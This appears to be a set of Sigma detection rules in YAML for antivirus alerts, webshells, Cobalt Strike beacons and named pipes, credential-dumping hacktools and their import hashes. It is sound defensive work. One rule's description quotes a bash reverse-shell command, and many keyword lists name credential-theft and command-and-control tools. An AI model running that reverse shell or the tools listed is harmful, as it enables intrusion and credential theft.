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title: Antivirus Exploitation Framework Detection
id: 238527ad-3c2c-4e4f-a1f6-92fd63adb864
status: stable
description: |
Detects a highly relevant Antivirus alert that reports an exploitation framework.
This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
references:
- https://www.nextron-systems.com/?s=antivirus
- https://www.virustotal.com/gui/file/925b0b28472d4d79b4bf92050e38cc2b8f722691c713fc28743ac38551bc3797
- https://www.virustotal.com/gui/file/8f8daabe1c8ceb5710949283818e16c4aa8059bf2ce345e2f2c90b8692978424
- https://www.virustotal.com/gui/file/d9669f7e3eb3a9cdf6a750eeb2ba303b5ae148a43e36546896f1d1801e912466
author: Florian Roth (Nextron Systems), Arnim Rupp
date: 2018-09-09
modified: 2024-11-02
tags:
- attack.execution
- attack.t1203
- attack.command-and-control
- attack.t1219.002
logsource:
category: antivirus
detection:
selection:
Signature|contains:
- 'Backdoor.Cobalt'
- 'Brutel'
- 'BruteR'
- 'CobaltStr'
- 'CobaltStrike'
- 'COBEACON'
- 'Cometer'
- 'Exploit.Script.CVE'
- 'IISExchgSpawnCMD'
- 'Metasploit'
- 'Meterpreter'
- 'MeteTool'
- 'Mpreter'
- 'MsfShell'
- 'PowerSploit'
- 'Razy'
- 'Rozena'
- 'Sbelt'
- 'Seatbelt'
- 'Sliver'
- 'Swrort'
condition: selection
falsepositives:
- Unlikely
level: critical
title: Antivirus Password Dumper Detection
id: 78cc2dd2-7d20-4d32-93ff-057084c38b93
status: stable
description: |
Detects a highly relevant Antivirus alert that reports a password dumper.
This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
references:
- https://www.nextron-systems.com/?s=antivirus
- https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619
- https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448
author: Florian Roth (Nextron Systems), Arnim Rupp
date: 2018-09-09
modified: 2024-11-02
tags:
- attack.credential-access
- attack.t1003
- attack.t1558
- attack.t1003.001
- attack.t1003.002
logsource:
category: antivirus
detection:
selection:
- Signature|startswith: 'PWS'
- Signature|contains:
- 'Certify'
- 'DCSync'
- 'DumpCreds'
- 'DumpLsass'
- 'DumpPert'
- 'HTool/WCE'
- 'Kekeo'
- 'Lazagne'
- 'LsassDump'
- 'Mimikatz'
- 'MultiDump'
- 'Nanodump'
- 'NativeDump'
- 'Outflank'
- 'PShlSpy'
- 'PSWTool'
- 'PWCrack'
- 'PWDump'
- 'PWS.'
- 'PWSX'
- 'pypykatz'
- 'Rubeus'
- 'SafetyKatz'
- 'SecurityTool'
- 'SharpChrome'
- 'SharpDPAPI'
- 'SharpDump'
- 'SharpKatz'
- 'SharpS.' # Sharpsploit, e.g. 530ea2ff9049f5dfdfa0a2e9c27c2e3c0685eb6cbdf85370c20a7bfae49f592d
- 'ShpKatz'
- 'TrickDump'
condition: selection
falsepositives:
- Unlikely
level: critical
title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
- attack.execution
- attack.t1059.004
logsource:
product: linux
category: network_connection
detection:
selection:
Image|endswith: '/bin/bash'
filter:
DestinationIp:
- '127.0.0.1'
- '0.0.0.0'
condition: selection and not filter
falsepositives:
- Unknown
level: critical
title: Webshell Remote Command Execution
id: c0d3734d-330f-4a03-aae2-65dacc6a8222
status: test
description: Detects possible command execution by web application/web shell
references:
- Personal Experience of the Author
- https://www.vaadata.com/blog/what-is-command-injection-exploitations-and-security-best-practices/
author: Ilyas Ochkov, Beyu Denis, oscd.community
date: 2019-10-12
modified: 2025-12-05
tags:
- attack.persistence
- attack.t1505.003
logsource:
product: linux
service: auditd
definition: |
Required auditd configuration:
-a always,exit -F arch=b32 -S execve -F euid=33 -k detect_execve_www
-a always,exit -F arch=b64 -S execve -F euid=33 -k detect_execve_www
-a always,exit -F arch=b32 -S execveat -F euid=33 -k detect_execve_www
-a always,exit -F arch=b64 -S execveat -F euid=33 -k detect_execve_www
Change the number "33" to the ID of your WebServer user. Default: www-data:x:33:33
detection:
selection:
type: 'SYSCALL'
SYSCALL:
- 'execve'
- 'execveat'
euid: 33
condition: selection
falsepositives:
- Admin activity
- Crazy web applications
level: critical
title: Possible Coin Miner CPU Priority Param
id: 071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed
status: test
description: Detects command line parameter very often used with coin miners
references:
- https://xmrig.com/docs/miner/command-line-options
author: Florian Roth (Nextron Systems)
date: 2021-10-09
modified: 2022-12-25
tags:
- attack.privilege-escalation
- attack.t1068
logsource:
product: linux
service: auditd
detection:
cmd1:
a1|startswith: '--cpu-priority'
cmd2:
a2|startswith: '--cpu-priority'
cmd3:
a3|startswith: '--cpu-priority'
cmd4:
a4|startswith: '--cpu-priority'
cmd5:
a5|startswith: '--cpu-priority'
cmd6:
a6|startswith: '--cpu-priority'
cmd7:
a7|startswith: '--cpu-priority'
condition: 1 of cmd*
falsepositives:
- Other tools that use a --cpu-priority flag
level: critical
title: Cobalt Strike DNS Beaconing
id: 2975af79-28c4-4d2f-a951-9095f229df29
status: test
description: Detects suspicious DNS queries known from Cobalt Strike beacons
references:
- https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
- https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
author: Florian Roth (Nextron Systems)
date: 2018-05-10
modified: 2022-10-09
tags:
- attack.command-and-control
- attack.t1071.004
logsource:
category: dns
detection:
selection1:
query|startswith:
- 'aaa.stage.'
- 'post.1'
selection2:
query|contains: '.stage.123456.'
condition: 1 of selection*
falsepositives:
- Unknown
level: critical
title: Bad Opsec Powershell Code Artifacts
id: 8d31a8ce-46b5-4dd6-bdc3-680931f1db86
related:
- id: 73e733cc-1ace-3212-a107-ff2523cc9fc3
type: derived
status: test
description: |
focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including
Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads
that often undergo minimal changes by attackers due to bad opsec.
references:
- https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
- https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/
- https://www.mdeditor.tw/pl/pgRt
author: 'ok @securonix invrep_de, oscd.community'
date: 2020-10-09
modified: 2022-12-25
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_module
definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
selection_4103:
Payload|contains:
- '$DoIt'
- 'harmj0y'
- 'mattifestation'
- '_RastaMouse'
- 'tifkin_'
- '0xdeadbeef'
condition: selection_4103
falsepositives:
- 'Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments.'
level: critical
title: Silence.EDA Detection
id: 3ceb2083-a27f-449a-be33-14ec1b7cc973
status: test
description: Detects Silence EmpireDNSAgent as described in the Group-IP report
references:
- https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf
author: Alina Stepchenkova, Group-IB, oscd.community
date: 2019-11-01
modified: 2023-04-03
tags:
- attack.execution
- attack.t1059.001
- attack.command-and-control
- attack.t1071.004
- attack.t1572
- attack.impact
- attack.t1529
- attack.g0091
- attack.s0363
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
empire:
# better to randomise the order
ScriptBlockText|contains|all:
- 'System.Diagnostics.Process'
- 'Stop-Computer'
- 'Restart-Computer'
- 'Exception in execution'
- '$cmdargs'
- 'Close-Dnscat2Tunnel'
dnscat:
# better to randomise the order
ScriptBlockText|contains|all:
- 'set type=$LookupType`nserver'
- '$Command | nslookup 2>&1 | Out-String'
- 'New-RandomDNSField'
- '[Convert]::ToString($SYNOptions, 16)'
- '$Session.Dead = $True'
- '$Session["Driver"] -eq'
condition: empire and dnscat
falsepositives:
- Unknown
level: critical
title: Wmiexec Default Output File
id: 8d5aca11-22b3-4f22-b7ba-90e60533e1fb
status: test
description: Detects the creation of the default output filename used by the wmiexec tool
references:
- https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/
- https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-02
modified: 2023-03-08
tags:
- attack.lateral-movement
- attack.execution
- attack.t1047
logsource:
category: file_event
product: windows
detection:
selection:
- TargetFilename|re: '\\Windows\\__1\d{9}\.\d{1,7}$' # Admin$
- TargetFilename|re: 'C:\\__1\d{9}\.\d{1,7}$' # C$
- TargetFilename|re: 'D:\\__1\d{9}\.\d{1,7}$' # D$
condition: selection
falsepositives:
- Unlikely
level: critical
title: HackTool - QuarksPwDump Dump File
id: 847def9e-924d-4e90-b7c4-5f581395a2b4
status: test
description: Detects a dump file written by QuarksPwDump password dumper
references:
- https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm
author: Florian Roth (Nextron Systems)
date: 2018-02-10
modified: 2024-06-27
tags:
- attack.credential-access
- attack.t1003.002
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains|all:
- '\AppData\Local\Temp\SAM-'
- '.dmp'
condition: selection
falsepositives:
- Unknown
level: critical
title: Wmiprvse Wbemcomn DLL Hijack - File
id: 614a7e17-5643-4d89-b6fe-f9df1a79641c
status: test
description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.
references:
- https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-10-12
modified: 2022-12-02
tags:
- attack.execution
- attack.t1047
- attack.lateral-movement
- attack.t1021.002
logsource:
product: windows
category: file_event
detection:
selection:
Image: System
TargetFilename|endswith: '\wbem\wbemcomn.dll'
condition: selection
falsepositives:
- Unknown
level: critical
title: HackTool - Dumpert Process Dumper Default File
id: 93d94efc-d7ad-4161-ad7d-1638c4f908d8
related:
- id: 2704ab9e-afe2-4854-a3b1-0c0706d03578
type: derived
status: test
description: Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory
references:
- https://github.com/outflanknl/Dumpert
- https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
author: Florian Roth (Nextron Systems)
date: 2020-02-04
modified: 2023-05-09
tags:
- attack.credential-access
- attack.t1003.001
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: 'dumpert.dmp'
condition: selection
falsepositives:
- Very unlikely
level: critical
title: Potential DCOM InternetExplorer.Application DLL Hijack
id: 2f7979ae-f82b-45af-ac1d-2b10e93b0baa
related:
- id: e554f142-5cf3-4e55-ace9-a1b59e0def65
type: obsolete
- id: f354eba5-623b-450f-b073-0b5b2773b6aa
type: similar
status: test
description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network
references:
- https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
author: Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga
date: 2020-10-12
modified: 2022-12-18
tags:
- attack.lateral-movement
- attack.t1021.002
- attack.t1021.003
logsource:
product: windows
category: file_event
detection:
selection:
Image: System
TargetFilename|endswith: '\Internet Explorer\iertutil.dll'
condition: selection
falsepositives:
- Unknown
level: critical
title: CobaltStrike Named Pipe
id: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2
related:
- id: 85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7 # Patterns
type: similar
- id: 0e7163d4-9e19-4fa7-9be6-000c61aad77a # Regex
type: similar
status: test
description: Detects the creation of a named pipe as used by CobaltStrike
references:
- https://twitter.com/d4rksystem/status/1357010969264873472
- https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/
- https://github.com/SigmaHQ/sigma/issues/253
- https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
- https://redcanary.com/threat-detection-report/threats/cobalt-strike/
author: Florian Roth (Nextron Systems), Wojciech Lesicki
date: 2021-05-25
modified: 2022-10-31
tags:
- attack.privilege-escalation
- attack.stealth
- attack.t1055
logsource:
product: windows
category: pipe_created
definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can always use Cobalt Strike, but also you can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
selection_MSSE:
PipeName|contains|all:
- '\MSSE-'
- '-server'
selection_postex:
PipeName|startswith: '\postex_' # Also include the pipe "\postex_ssh_"
selection_status:
PipeName|startswith: '\status_'
selection_msagent:
PipeName|startswith: '\msagent_'
selection_mojo:
PipeName|startswith: '\mojo_'
selection_interprocess:
PipeName|startswith: '\interprocess_'
selection_samr:
PipeName|startswith: '\samr_'
selection_netlogon:
PipeName|startswith: '\netlogon_'
selection_srvsvc:
PipeName|startswith: '\srvsvc_'
selection_lsarpc:
PipeName|startswith: '\lsarpc_'
selection_wkssvc:
PipeName|startswith: '\wkssvc_'
condition: 1 of selection*
falsepositives:
- Unknown
level: critical
title: Malicious Named Pipe Created
id: fe3ac066-98bb-432a-b1e7-a5229cb39d4a
status: test
description: Detects the creation of a named pipe seen used by known APTs or malware.
references:
- https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/
- https://securelist.com/faq-the-projectsauron-apt/75533/
- https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
- https://www.us-cert.gov/ncas/alerts/TA17-117A
- https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
- https://thedfirreport.com/2020/06/21/snatch-ransomware/
- https://github.com/RiccardoAncarani/LiquidSnake
- https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
- https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a
- https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
- https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
- https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
author: Florian Roth (Nextron Systems), blueteam0ps, elhoim
date: 2017-11-06
modified: 2023-08-07
tags:
- attack.privilege-escalation
- attack.stealth
- attack.t1055
logsource:
product: windows
category: pipe_created
definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
selection:
PipeName:
- '\46a676ab7f179e511e30dd2dc41bd388' # Project Sauron
- '\583da945-62af-10e8-4902-a8f205c72b2e' # SolarWinds SUNBURST malware
- '\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7' # LiquidSnake
- '\9f81f59bc58452127884ce513865ed20' # Project Sauron
- '\adschemerpc' # Turla HyperStack
- '\ahexec' # Sofacy group malware
- '\AnonymousPipe' # Hidden Cobra Hoplight
- '\bc31a7' # Pacifier
- '\bc367' # Pacifier
- '\bizkaz' # Snatch Ransomware
- '\csexecsvc' # CSEXEC default
- '\dce_3d' # Qbot
- '\e710f28d59aa529d6792ca6ff0ca1b34' # Project Sauron
- '\gruntsvc' # Covenant default
- '\isapi_dg' # Uroburos Malware
- '\isapi_dg2' # Uroburos Malware
- '\isapi_http' # Uroburos Malware
- '\jaccdpqnvbrrxlaf' # PoshC2 default
- '\lsassw' # Wild Neutron APT malware
- '\NamePipe_MoreWindows' # Cloud Hopper - RedLeaves
- '\pcheap_reuse' # Pipe used by Equation Group malware
- '\Posh*' # PoshC2 default
- '\rpchlp_3' # Project Sauron
- '\sdlrpc' # Cobra Trojan
- '\svcctl' # Crackmapexec smbexec default
- '\testPipe' # Emissary Panda Hyperbro
- '\winsession' # Wild Neutron APT malware
# - '\status_*' # CS default https://github.com/SigmaHQ/sigma/issues/253
condition: selection
falsepositives:
- Unknown
level: critical
title: CobaltStrike Named Pipe Pattern Regex
id: 0e7163d4-9e19-4fa7-9be6-000c61aad77a
related:
- id: 85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7 # Patterns
type: similar
- id: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2 # Generic
type: similar
status: test
description: Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles
references:
- https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575
- https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
author: Florian Roth (Nextron Systems)
date: 2021-07-30
modified: 2022-12-31
tags:
- attack.privilege-escalation
- attack.stealth
- attack.t1055
logsource:
product: windows
category: pipe_created
definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can always use Cobalt Strike, but also you can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
selection:
- PipeName|re: '\\mojo\.5688\.8052\.(?:183894939787088877|35780273329370473)[0-9a-f]{2}'
- PipeName|re: '\\wkssvc_?[0-9a-f]{2}'
- PipeName|re: '\\ntsvcs[0-9a-f]{2}'
- PipeName|re: '\\DserNamePipe[0-9a-f]{2}'
- PipeName|re: '\\SearchTextHarvester[0-9a-f]{2}'
- PipeName|re: '\\mypipe-(?:f|h)[0-9a-f]{2}'
- PipeName|re: '\\windows\.update\.manager[0-9a-f]{2,3}'
- PipeName|re: '\\ntsvcs_[0-9a-f]{2}'
- PipeName|re: '\\scerpc_?[0-9a-f]{2}'
- PipeName|re: '\\PGMessagePipe[0-9a-f]{2}'
- PipeName|re: '\\MsFteWds[0-9a-f]{2}'
- PipeName|re: '\\f4c3[0-9a-f]{2}'
- PipeName|re: '\\fullduplex_[0-9a-f]{2}'
- PipeName|re: '\\msrpc_[0-9a-f]{4}'
- PipeName|re: '\\win\\msrpc_[0-9a-f]{2}'
- PipeName|re: '\\f53f[0-9a-f]{2}'
- PipeName|re: '\\rpc_[0-9a-f]{2}'
- PipeName|re: '\\spoolss_[0-9a-f]{2}'
- PipeName|re: '\\Winsock2\\CatalogChangeListener-[0-9a-f]{3}-0,'
condition: selection
falsepositives:
- Unknown
level: critical
title: HackTool - Credential Dumping Tools Named Pipe Created
id: 961d0ba2-3eea-4303-a930-2cf78bbfcc5e
status: test
description: Detects well-known credential dumping tools execution via specific named pipe creation
references:
- https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
- https://image.slidesharecdn.com/zeronights2017kheirkhabarov-171118103000/75/hunting-for-credentials-dumping-in-windows-environment-57-2048.jpg?cb=1666035799
author: Teymur Kheirkhabarov, oscd.community
date: 2019-11-01
modified: 2023-08-07
tags:
- attack.credential-access
- attack.t1003.001
- attack.t1003.002
- attack.t1003.004
- attack.t1003.005
logsource:
product: windows
category: pipe_created
definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
selection:
PipeName|contains:
- '\cachedump'
- '\lsadump'
- '\wceservicepipe'
condition: selection
falsepositives:
- Legitimate Administrator using tool for password recovery
level: critical
title: Suspicious Cobalt Strike DNS Beaconing - Sysmon
id: f356a9c4-effd-4608-bbf8-408afd5cd006
related:
- id: 0d18728b-f5bf-4381-9dcf-915539fff6c2
type: similar
status: test
description: Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons
references:
- https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
- https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
author: Florian Roth (Nextron Systems)
date: 2021-11-09
modified: 2023-01-16
tags:
- attack.command-and-control
- attack.t1071.004
logsource:
product: windows
category: dns_query
detection:
selection1:
QueryName|startswith:
- 'aaa.stage.'
- 'post.1'
selection2:
QueryName|contains: '.stage.123456.'
condition: 1 of selection*
falsepositives:
- Unknown
level: critical
title: HackTool - Inveigh Execution
id: b99a1518-1ad5-4f65-bc95-1ffff97a8fd0
status: test
description: Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool
references:
- https://github.com/Kevin-Robertson/Inveigh
- https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-24
modified: 2023-02-04
tags:
- attack.credential-access
- attack.t1003.001
logsource:
category: process_creation
product: windows
detection:
selection:
- Image|endswith: '\Inveigh.exe'
- OriginalFileName:
- '\Inveigh.exe'
- '\Inveigh.dll'
- Description: 'Inveigh'
- CommandLine|contains:
- ' -SpooferIP'
- ' -ReplyToIPs '
- ' -ReplyToDomains '
- ' -ReplyToMACs '
- ' -SnifferIP'
condition: selection
falsepositives:
- Very unlikely
level: critical
title: HackTool - SysmonEOP Execution
id: 8a7e90c5-fe6e-45dc-889e-057fe4378bd9
status: test
description: Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120
references:
- https://github.com/Wh04m1001/SysmonEoP
author: Florian Roth (Nextron Systems)
date: 2022-12-04
modified: 2024-11-23
tags:
- cve.2022-41120
- attack.t1068
- attack.privilege-escalation
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith: '\SysmonEOP.exe'
selection_hash:
Hashes|contains:
- 'IMPHASH=22F4089EB8ABA31E1BB162C6D9BF72E5'
- 'IMPHASH=5123FA4C4384D431CD0D893EEB49BBEC'
condition: 1 of selection_*
falsepositives:
- Unlikely
level: critical
title: HackTool - SafetyKatz Execution
id: b1876533-4ed5-4a83-90f3-b8645840a413
status: test
description: Detects the execution of the hacktool SafetyKatz via PE information and default Image name
references:
- https://github.com/GhostPack/SafetyKatz
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-20
modified: 2023-02-04
tags:
- attack.credential-access
- attack.t1003.001
logsource:
category: process_creation
product: windows
detection:
selection:
- Image|endswith: '\SafetyKatz.exe'
- OriginalFileName: 'SafetyKatz.exe'
- Description: 'SafetyKatz'
condition: selection
falsepositives:
- Unlikely
level: critical
title: Hacktool Execution - Imphash
id: 24e3e58a-646b-4b50-adef-02ef935b9fc8
status: test
description: Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed
references:
- Internal Research
author: Florian Roth (Nextron Systems)
date: 2022-03-04
modified: 2024-11-23
tags:
- attack.credential-access
- attack.resource-development
- attack.t1588.002
- attack.t1003
logsource:
category: process_creation
product: windows
detection:
selection:
Hashes|contains: # Sysmon field hashes contains all types
- IMPHASH=BCCA3C247B619DCD13C8CDFF5F123932 # PetitPotam
- IMPHASH=3A19059BD7688CB88E70005F18EFC439 # PetitPotam
- IMPHASH=bf6223a49e45d99094406777eb6004ba # PetitPotam
- IMPHASH=23867A89C2B8FC733BE6CF5EF902F2D1 # JuicyPotato
- IMPHASH=A37FF327F8D48E8A4D2F757E1B6E70BC # JuicyPotato
- IMPHASH=F9A28C458284584A93B14216308D31BD # JuicyPotatoNG
- IMPHASH=6118619783FC175BC7EBECFF0769B46E # RoguePotato
- IMPHASH=959A83047E80AB68B368FDB3F4C6E4EA # RoguePotato
- IMPHASH=563233BFA169ACC7892451F71AD5850A # RoguePotato
- IMPHASH=87575CB7A0E0700EB37F2E3668671A08 # RoguePotato
- IMPHASH=13F08707F759AF6003837A150A371BA1 # Pwdump
- IMPHASH=1781F06048A7E58B323F0B9259BE798B # Pwdump
- IMPHASH=233F85F2D4BC9D6521A6CAAE11A1E7F5 # Pwdump
- IMPHASH=24AF2584CBF4D60BBE5C6D1B31B3BE6D # Pwdump
- IMPHASH=632969DDF6DBF4E0F53424B75E4B91F2 # Pwdump
- IMPHASH=713C29B396B907ED71A72482759ED757 # Pwdump
- IMPHASH=749A7BB1F0B4C4455949C0B2BF7F9E9F # Pwdump
- IMPHASH=8628B2608957A6B0C6330AC3DE28CE2E # Pwdump
- IMPHASH=8B114550386E31895DFAB371E741123D # Pwdump
- IMPHASH=94CB940A1A6B65BED4D5A8F849CE9793 # PwDumpX
- IMPHASH=9D68781980370E00E0BD939EE5E6C141 # Pwdump
- IMPHASH=B18A1401FF8F444056D29450FBC0A6CE # Pwdump
- IMPHASH=CB567F9498452721D77A451374955F5F # Pwdump
- IMPHASH=730073214094CD328547BF1F72289752 # Htran
- IMPHASH=17B461A082950FC6332228572138B80C # Cobalt Strike beacons
- IMPHASH=DC25EE78E2EF4D36FAA0BADF1E7461C9 # Cobalt Strike beacons
- IMPHASH=819B19D53CA6736448F9325A85736792 # Cobalt Strike beacons
- IMPHASH=829DA329CE140D873B4A8BDE2CBFAA7E # Cobalt Strike beacons
- IMPHASH=C547F2E66061A8DFFB6F5A3FF63C0A74 # PPLDump
- IMPHASH=0588081AB0E63BA785938467E1B10CCA # PPLDump
- IMPHASH=0D9EC08BAC6C07D9987DFD0F1506587C # NanoDump
- IMPHASH=BC129092B71C89B4D4C8CDF8EA590B29 # NanoDump
- IMPHASH=4DA924CF622D039D58BCE71CDF05D242 # NanoDump
- IMPHASH=E7A3A5C377E2D29324093377D7DB1C66 # NanoDump
- IMPHASH=9A9DBEC5C62F0380B4FA5FD31DEFFEDF # NanoDump
- IMPHASH=AF8A3976AD71E5D5FDFB67DDB8DADFCE # NanoDump
- IMPHASH=0C477898BBF137BBD6F2A54E3B805FF4 # NanoDump
- IMPHASH=0CA9F02B537BCEA20D4EA5EB1A9FE338 # NanoDump
- IMPHASH=3AB3655E5A14D4EEFC547F4781BF7F9E # NanoDump
- IMPHASH=E6F9D5152DA699934B30DAAB206471F6 # NanoDump
- IMPHASH=3AD59991CCF1D67339B319B15A41B35D # NanoDump
- IMPHASH=FFDD59E0318B85A3E480874D9796D872 # NanoDump
- IMPHASH=0CF479628D7CC1EA25EC7998A92F5051 # NanoDump
- IMPHASH=07A2D4DCBD6CB2C6A45E6B101F0B6D51 # NanoDump
- IMPHASH=D6D0F80386E1380D05CB78E871BC72B1 # NanoDump
- IMPHASH=38D9E015591BBFD4929E0D0F47FA0055 # HandleKatz
- IMPHASH=0E2216679CA6E1094D63322E3412D650 # HandleKatz
- IMPHASH=ADA161BF41B8E5E9132858CB54CAB5FB # DripLoader
- IMPHASH=2A1BC4913CD5ECB0434DF07CB675B798 # DripLoader
- IMPHASH=11083E75553BAAE21DC89CE8F9A195E4 # DripLoader
- IMPHASH=A23D29C9E566F2FA8FFBB79267F5DF80 # DripLoader
- IMPHASH=4A07F944A83E8A7C2525EFA35DD30E2F # CreateMiniDump
- IMPHASH=767637C23BB42CD5D7397CF58B0BE688 # UACMe Akagi
- IMPHASH=14C4E4C72BA075E9069EE67F39188AD8 # UACMe Akagi
- IMPHASH=3C782813D4AFCE07BBFC5A9772ACDBDC # UACMe Akagi
- IMPHASH=7D010C6BB6A3726F327F7E239166D127 # UACMe Akagi
- IMPHASH=89159BA4DD04E4CE5559F132A9964EB3 # UACMe Akagi
- IMPHASH=6F33F4A5FC42B8CEC7314947BD13F30F # UACMe Akagi
- IMPHASH=5834ED4291BDEB928270428EBBAF7604 # UACMe Akagi
- IMPHASH=5A8A8A43F25485E7EE1B201EDCBC7A38 # UACMe Akagi
- IMPHASH=DC7D30B90B2D8ABF664FBED2B1B59894 # UACMe Akagi
- IMPHASH=41923EA1F824FE63EA5BEB84DB7A3E74 # UACMe Akagi
- IMPHASH=3DE09703C8E79ED2CA3F01074719906B # UACMe Akagi
- IMPHASH=A53A02B997935FD8EEDCB5F7ABAB9B9F # WCE
- IMPHASH=E96A73C7BF33A464C510EDE582318BF2 # WCE
- IMPHASH=32089B8851BBF8BC2D014E9F37288C83 # Sliver Stagers
- IMPHASH=09D278F9DE118EF09163C6140255C690 # Dumpert
- IMPHASH=03866661686829d806989e2fc5a72606 # Dumpert
- IMPHASH=e57401fbdadcd4571ff385ab82bd5d6d # Dumpert
- IMPHASH=84B763C45C0E4A3E7CA5548C710DB4EE # SysmonEnte
